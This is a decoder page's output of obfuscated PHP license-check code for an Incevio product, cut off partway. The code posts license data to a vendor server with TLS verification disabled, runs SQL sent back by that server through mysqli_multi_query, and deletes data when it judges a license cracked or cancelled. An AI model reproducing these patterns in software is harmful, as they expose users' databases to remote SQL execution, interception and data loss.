Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * Copyright (C) Incevio Systems, Inc - All Rights Reserved * Unauthorized copy..

Decoded Output download

<?php 
/* 
* Copyright (C) Incevio Systems, Inc - All Rights Reserved 
* Unauthorized copying of this file, via any medium is strictly prohibited 
* Proprietary and confidential 
* Written by Munna Khan <[email protected]>, September 2018 
*/ 
function aplCustomEncrypt($string, $key) 
{ 
    $encrypted_string = null; 
    if (!(!empty($string) && !empty($key))) { 
        goto b3SSz; 
    } 
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc")); 
    $encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv); 
    $encrypted_string = base64_encode($encrypted_string . "::" . $iv); 
    b3SSz: 
    return $encrypted_string; 
} 
 
function aplCustomDecrypt($string, $key) 
{ 
    $decrypted_string = null; 
    if (!(!empty($string) && !empty($key))) { 
        goto xYW45; 
    } 
    $string = base64_decode($string); 
    if (!stristr($string, "::")) { 
        goto xXRiv; 
    } 
    $string_iv_array = explode("::", $string, 2); 
    if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) { 
        goto M6Ad0; 
    } 
    list($encrypted_string, $iv) = $string_iv_array; 
    $decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv); 
    M6Ad0: xXRiv: xYW45: 
    return $decrypted_string; 
} 
 
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF) 
{ 
    $result = false; 
    if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("options" => array("min_range" => $min_value, "max_range" => $max_value))) !== false)) { 
        goto mmk7x; 
    } 
    $result = true; 
    mmk7x: 
    return $result; 
} 
 
function aplValidateRawDomain($url) 
{ 
    $result = false; 
    if (empty($url)) { 
        goto P8hQu; 
    } 
    if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) { 
        goto TjW04; 
    } 
    $result = false; 
    goto IBV6N; 
    TjW04: 
    $result = true; 
    IBV6N: P8hQu: 
    return $result; 
} 
 
function aplGetCurrentUrl($remove_last_slash = null) 
{ 
    $protocol = "http"; 
    $host = null; 
    $script = null; 
    $params = null; 
    $current_url = null; 
    if (!(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")) { 
        goto puGxY; 
    } 
    $protocol = "https"; 
    puGxY: 
    if (!isset($_SERVER["HTTP_HOST"])) { 
        goto As70g; 
    } 
    $host = $_SERVER["HTTP_HOST"]; 
    As70g: 
    if (!isset($_SERVER["SCRIPT_NAME"])) { 
        goto eb6Ae; 
    } 
    $script = $_SERVER["SCRIPT_NAME"]; 
    eb6Ae: 
    if (!isset($_SERVER["QUERY_STRING"])) { 
        goto NNMTP; 
    } 
    $params = $_SERVER["QUERY_STRING"]; 
    NNMTP: 
    if (!(!empty($protocol) && !empty($host) && !empty($script))) { 
        goto zuG28; 
    } 
    $current_url = $protocol . "://" . $host . $script; 
    if (empty($params)) { 
        goto CNip2; 
    } 
    $current_url .= "?" . $params; 
    CNip2: 
    if (!($remove_last_slash == 1)) { 
        goto GLR2A; 
    } 
    TSXz4: 
    if (!(substr($current_url, -1) == "/")) { 
        goto EO7b_; 
    } 
    $current_url = substr($current_url, 0, -1); 
    goto TSXz4; 
    EO7b_: GLR2A: zuG28: 
    return $current_url; 
} 
 
function aplGetRawDomain($url) 
{ 
    $raw_domain = null; 
    if (empty($url)) { 
        goto geFnG; 
    } 
    $url_array = parse_url($url); 
    if (!empty($url_array["scheme"])) { 
        goto wZSHN; 
    } 
    $url = "http://" . $url; 
    $url_array = parse_url($url); 
    wZSHN: 
    if (empty($url_array["host"])) { 
        goto nTZlx; 
    } 
    $raw_domain = $url_array["host"]; 
    $raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL))); 
    nTZlx: geFnG: 
    return $raw_domain; 
} 
 
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash) 
{ 
    if (!filter_var($url, FILTER_VALIDATE_URL)) { 
        goto sZJ8r; 
    } 
    $url_array = parse_url($url); 
    $url = str_ireplace($url_array["scheme"] . "://", '', $url); 
    if ($remove_path == 1) { 
        goto SI7WK; 
    } 
    $last_slash_position = strripos($url, "/"); 
    if (!($last_slash_position > 0)) { 
        goto NX0fY; 
    } 
    $url = substr($url, 0, $last_slash_position + 1); 
    NX0fY: 
    goto GilT_; 
    SI7WK: 
    $first_slash_position = stripos($url, "/"); 
    if (!($first_slash_position > 0)) { 
        goto v2XxD; 
    } 
    $url = substr($url, 0, $first_slash_position + 1); 
    v2XxD: GilT_: 
    if (!($remove_scheme != 1)) { 
        goto oVGHB; 
    } 
    $url = $url_array["scheme"] . "://" . $url; 
    oVGHB: 
    if (!($remove_www == 1)) { 
        goto zO_61; 
    } 
    $url = str_ireplace("www.", '', $url); 
    zO_61: 
    if (!($remove_last_slash == 1)) { 
        goto o7Xq0; 
    } 
    p5NeF: 
    if (!(substr($url, -1) == "/")) { 
        goto JI1gI; 
    } 
    $url = substr($url, 0, -1); 
    goto p5NeF; 
    JI1gI: o7Xq0: sZJ8r: 
    return trim($url); 
} 
 
function aplCustomPost($url, $post_info = null, $refer = null) 
{ 
    $user_agent = "phpmillion cURL"; 
    $connect_timeout = 10; 
    $server_response_array = array(); 
    $formatted_headers_array = array(); 
    if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) { 
        goto yiKwz; 
    } 
    if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) { 
        goto n3xni; 
    } 
    $refer = $url; 
    n3xni: 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); 
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout); 
    curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout); 
    curl_setopt($ch, CURLOPT_REFERER, $refer); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10); 
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (&$formatted_headers_array) { 
        $len = strlen($header); 
        $header = explode(":", $header, 2); 
        if (!(count($header) < 2)) { 
            goto InXEf; 
        } 
        return $len; 
        InXEf: 
        $name = strtolower(trim($header[0])); 
        $formatted_headers_array[$name] = trim($header[1]); 
        return $len; 
    }); 
    $result = curl_exec($ch); 
    $curl_error = curl_error($ch); 
    curl_close($ch); 
    $server_response_array["headers"] = $formatted_headers_array; 
    $server_response_array["error"] = $curl_error; 
    $server_response_array["body"] = $result; 
    yiKwz: 
    return $server_response_array; 
} 
 
function aplVerifyDateTime($datetime, $format) 
{ 
    $result = false; 
    if (!(!empty($datetime) && !empty($format))) { 
        goto Xrn8g; 
    } 
    $datetime = DateTime::createFromFormat($format, $datetime); 
    $errors = DateTime::getLastErrors(); 
    if (!($datetime && empty($errors["warning_count"]))) { 
        goto vh2yA; 
    } 
    $result = true; 
    vh2yA: Xrn8g: 
    return $result; 
} 
 
function aplGetDaysBetweenDates($date_from, $date_to) 
{ 
    $number_of_days = 0; 
    if (!(aplVerifyDateTime($date_from, "Y-m-d") && aplVerifyDateTime($date_to, "Y-m-d"))) { 
        goto jwnpz; 
    } 
    $date_to = new DateTime($date_to); 
    $date_from = new DateTime($date_from); 
    $number_of_days = $date_from->diff($date_to)->format("%a"); 
    jwnpz: 
    return $number_of_days; 
} 
 
function aplParseXmlTags($content, $tag_name) 
{ 
    $parsed_value = null; 
    if (!(!empty($content) && !empty($tag_name))) { 
        goto ghFzN; 
    } 
    preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER); 
    if (empty($output_array[0][1])) { 
        goto VQUEk; 
    } 
    $parsed_value = trim($output_array[0][1]); 
    VQUEk: ghFzN: 
    return $parsed_value; 
} 
 
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) 
{ 
    $notifications_array = array(); 
    if (!empty($content_array)) { 
        goto jWG5I; 
    } 
    $notifications_array["notification_case"] = "notification_no_connection"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; 
    goto kx8yv; 
    jWG5I: 
    if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) { 
        goto W1W2r; 
    } 
    $notifications_array["notification_case"] = "notification_invalid_response"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; 
    goto qItdK; 
    W1W2r: 
    $notifications_array["notification_case"] = $content_array["headers"]["notification_case"]; 
    $notifications_array["notification_text"] = $content_array["headers"]["notification_text"]; 
    if (empty($content_array["headers"]["notification_data"])) { 
        goto kWgYU; 
    } 
    $notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true); 
    kWgYU: qItdK: kx8yv: 
    return $notifications_array; 
} 
 
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) 
{ 
    $script_signature = null; 
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
    $product = $product == Null ? APL_PRODUCT_ID : $product; 
    if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) { 
        goto zqM1S; 
    } 
    $script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array)); 
    zqM1S: 
    return $script_signature; 
} 
 
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) 
{ 
    $result = false; 
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
    $product = $product == Null ? APL_PRODUCT_ID : $product; 
    if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) { 
        goto yrboa; 
    } 
    if (!(hash("sha256", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature)) { 
        goto e00kT; 
    } 
    $result = true; 
    e00kT: yrboa: 
    return $result; 
} 
 
function aplCheckSettings() 
{ 
    $notifications_array = array(); 
    if (!(empty(APL_SALT) || APL_SALT == "some_random_text")) { 
        goto pNmUL; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT; 
    pNmUL: 
    if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) { 
        goto k_sUj; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL; 
    k_sUj: 
    if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) { 
        goto wT1OW; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID; 
    wT1OW: 
    if (aplValidateIntegerValue(APL_DAYS, 1, 365)) { 
        goto taNOM; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD; 
    taNOM: 
    if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) { 
        goto yMAyE; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE; 
    yMAyE: 
    if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE)))) { 
        goto UXje9; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE; 
    UXje9: 
    if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))) { 
        goto OmXFW; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE; 
    OmXFW: 
    if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) { 
        goto Dp916; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP; 
    Dp916: 
    if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) { 
        goto ZU5XS; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
    ZU5XS: 
    if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) { 
        goto fUu2r; 
    } 
    foreach (APL_ROOT_NAMESERVERS as $nameserver) { 
        if (aplValidateRawDomain($nameserver)) { 
            goto M8yz5; 
        } 
        $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS; 
        goto QkswF; 
        M8yz5: gbBZS: 
    } 
    QkswF: fUu2r: 
    if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) { 
        goto HfDjq; 
    } 
    $apl_root_nameservers_array = APL_ROOT_NAMESERVERS; 
    $fetched_nameservers_array = array(); 
    $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS); 
    foreach ($dns_records_array as $record) { 
        $fetched_nameservers_array[] = $record["target"]; 
        FZ7ow: 
    } 
    gtQ_B: 
    $apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array); 
    $fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array); 
    sort($apl_root_nameservers_array); 
    sort($fetched_nameservers_array); 
    if (!($apl_root_nameservers_array != $fetched_nameservers_array)) { 
        goto X6HcR; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
    X6HcR: HfDjq: 
    return $notifications_array; 
} 
 
function aplParseLicenseFile() 
{ 
    $license_data_array = array(); 
    if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) { 
        goto WkhLG; 
    } 
    $file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION); 
    preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER); 
    if (empty($matches)) { 
        goto T3SuO; 
    } 
    foreach ($matches as $value) { 
        if (!(!empty($value[1]) && $value[1] == $value[3])) { 
            goto nBiMw; 
        } 
        $license_data_array[$value[1]] = $value[2]; 
        nBiMw: yWthR: 
    } 
    f4yDN: T3SuO: WkhLG: 
    return $license_data_array; 
} 
 
function aplGetLicenseData($MYSQLI_LINK = null) 
{ 
    $settings_row = array(); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto QTWTj; 
    } 
    $table_exist = @mysqli_query($MYSQLI_LINK, "SHOW TABLES LIKE '" . APL_DATABASE_TABLE . "'"); 
    if (!@mysqli_fetch_assoc($table_exist)) { 
        goto iJmmo; 
    } 
    $settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE); 
    $settings_row = @mysqli_fetch_assoc($settings_results); 
    iJmmo: QTWTj: 
    if (!(APL_STORAGE == "FILE")) { 
        goto Gdqmu; 
    } 
    $settings_row = aplParseLicenseFile(); 
    Gdqmu: 
    return $settings_row; 
} 
 
function aplCheckConnection() 
{ 
    $notifications_array = array(); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/connection_test.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test"))); 
    if (!empty($content_array)) { 
        goto lBmCZ; 
    } 
    $notifications_array["notification_case"] = "notification_no_connection"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; 
    goto VG71n; 
    lBmCZ: 
    if (!($content_array["body"] != "<connection_test>OK</connection_test>")) { 
        goto ZokYo; 
    } 
    $notifications_array["notification_case"] = "notification_invalid_response"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; 
    ZokYo: VG71n: 
    return $notifications_array; 
} 
 
function aplCheckData($MYSQLI_LINK = null) 
{ 
    $error_detected = 0; 
    $cracking_detected = 0; 
    $data_check_result = false; 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) { 
        goto BqVbD; 
    } 
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY); 
    if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) { 
        goto WYYjv; 
    } 
    $error_detected = 1; 
    WYYjv: 
    if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false)) { 
        goto zLVSN; 
    } 
    $error_detected = 1; 
    zLVSN: 
    if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) { 
        goto nn7_O; 
    } 
    $error_detected = 1; 
    nn7_O: 
    if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) { 
        goto VfHFX; 
    } 
    $error_detected = 1; 
    VfHFX: 
    if (aplVerifyDateTime($LCD, "Y-m-d")) { 
        goto ue0D2; 
    } 
    $error_detected = 1; 
    ue0D2: 
    if (aplVerifyDateTime($LRD, "Y-m-d")) { 
        goto Xb4tk; 
    } 
    $error_detected = 1; 
    Xb4tk: 
    if (!(aplVerifyDateTime($LCD, "Y-m-d") && $LCD > date("Y-m-d", strtotime("+1 day")))) { 
        goto mnbj_; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    mnbj_: 
    if (!(aplVerifyDateTime($LRD, "Y-m-d") && $LRD > date("Y-m-d", strtotime("+1 day")))) { 
        goto q46OO; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    q46OO: 
    if (!(aplVerifyDateTime($LCD, "Y-m-d") && aplVerifyDateTime($LRD, "Y-m-d") && $LCD > $LRD)) { 
        goto okptn; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    okptn: 
    if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) { 
        goto c49XR; 
    } 
    aplDeleteData($MYSQLI_LINK); 
    c49XR: 
    if (!($error_detected != 1 && $cracking_detected != 1)) { 
        goto TAxno; 
    } 
    $data_check_result = true; 
    TAxno: BqVbD: 
    return $data_check_result; 
} 
 
function aplVerifyEnvatoPurchase($LICENSE_CODE = null) 
{ 
    $notifications_array = array(); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase"))); 
    if (!empty($content_array)) { 
        goto ge08C; 
    } 
    $notifications_array["notification_case"] = "notification_no_connection"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; 
    goto Ftkbv; 
    ge08C: 
    if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>")) { 
        goto YcklK; 
    } 
    $notifications_array["notification_case"] = "notification_case"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; 
    YcklK: Ftkbv: 
    return $notifications_array; 
} 
 
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto qDSG3; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto fEKb9; 
    qDSG3: 
    if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) { 
        goto qeN3i; 
    } 
    $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!($notifications_array["notification_case"] == "notification_license_ok")) { 
        goto Nmh10; 
    } 
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
    $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto GzyqH; 
    } 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) { 
        goto QEnLg; 
    } 
    $mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%"); 
    $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH); 
    $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]); 
    mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK)); 
    QEnLg: GzyqH: 
    if (!(APL_STORAGE == "FILE")) { 
        goto Y_2Kp; 
    } 
    $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
    $fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"); 
    if (!($fwrite === false)) { 
        goto MSH6g; 
    } 
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
    exit; 
    MSH6g: 
    @fclose($handle); 
    Y_2Kp: Nmh10: 
    goto NdSKn; 
    qeN3i: 
    $notifications_array["notification_case"] = "notification_already_installed"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED; 
    NdSKn: fEKb9: 
    return $notifications_array; 
} 
 
function preparePackageInstallation($installable) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (!empty($apl_core_notifications)) { 
        goto Ozs_9; 
    } 
    $MYSQLI_LINK = getMysqliConnection(); 
    $core_license = aplGetLicenseData($MYSQLI_LINK); 
    if (!(empty($core_license) || !is_array($core_license))) { 
        goto dWagw; 
    } 
    throw new \Exception("Core script license " . "validation" . " failed! Please contact" . " support for help."); 
    dWagw: 
    $CLIENT_EMAIL = $core_license["CLIENT_EMAIL"]; 
    $LICENSE_CODE = $installable["license_key"]; 
    $ROOT_URL = config("app.url"); 
    $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); 
    $post_info = "product_id=" . rawurlencode($installable["id"]) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"])); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]); 
    if ($notifications_array["notification_case"] == "notification_license_ok") { 
        goto jFUQz; 
    } 
    if (empty($notifications_array["notification_text"])) { 
        goto lmCfb; 
    } 
    throw new \Exception("License " . "validation" . " failed! " . $notifications_array["notification_text"]); 
    lmCfb: 
    goto ICJE3; 
    jFUQz: 
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
    $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]); 
    if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) { 
        goto Aiu6u; 
    } 
    return ["installation_key" => $INSTALLATION_KEY, "installation_hash" => $INSTALLATION_HASH, "lcd" => $LCD, "lrd" => $LRD]; 
    Aiu6u: ICJE3: Ozs_9: 
    throw new \Exception("License " . "validation" . " failed! Please contact" . " support for help."); 
} 
 
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0) 
{ 
    $notifications_array = array(); 
    $update_lrd_value = 0; 
    $update_lcd_value = 0; 
    $updated_records = 0; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto INq3q; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto YcT2t; 
    INq3q: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto hLjSU; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto JjPAp; 
    hLjSU: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION === 0) { 
        goto R0zX4; 
    } 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!($notifications_array["notification_case"] == "notification_license_ok")) { 
        goto tysj3; 
    } 
    $update_lcd_value = 1; 
    tysj3: 
    if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES")) { 
        goto ogKgq; 
    } 
    aplDeleteData($MYSQLI_LINK); 
    ogKgq: 
    goto E1Iki; 
    R0zX4: 
    $notifications_array["notification_case"] = "notification_license_ok"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION; 
    E1Iki: 
    if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))) { 
        goto Tzq3D; 
    } 
    $update_lrd_value = 1; 
    Tzq3D: 
    if (!($update_lrd_value == 1 || $update_lcd_value == 1)) { 
        goto KYrcO; 
    } 
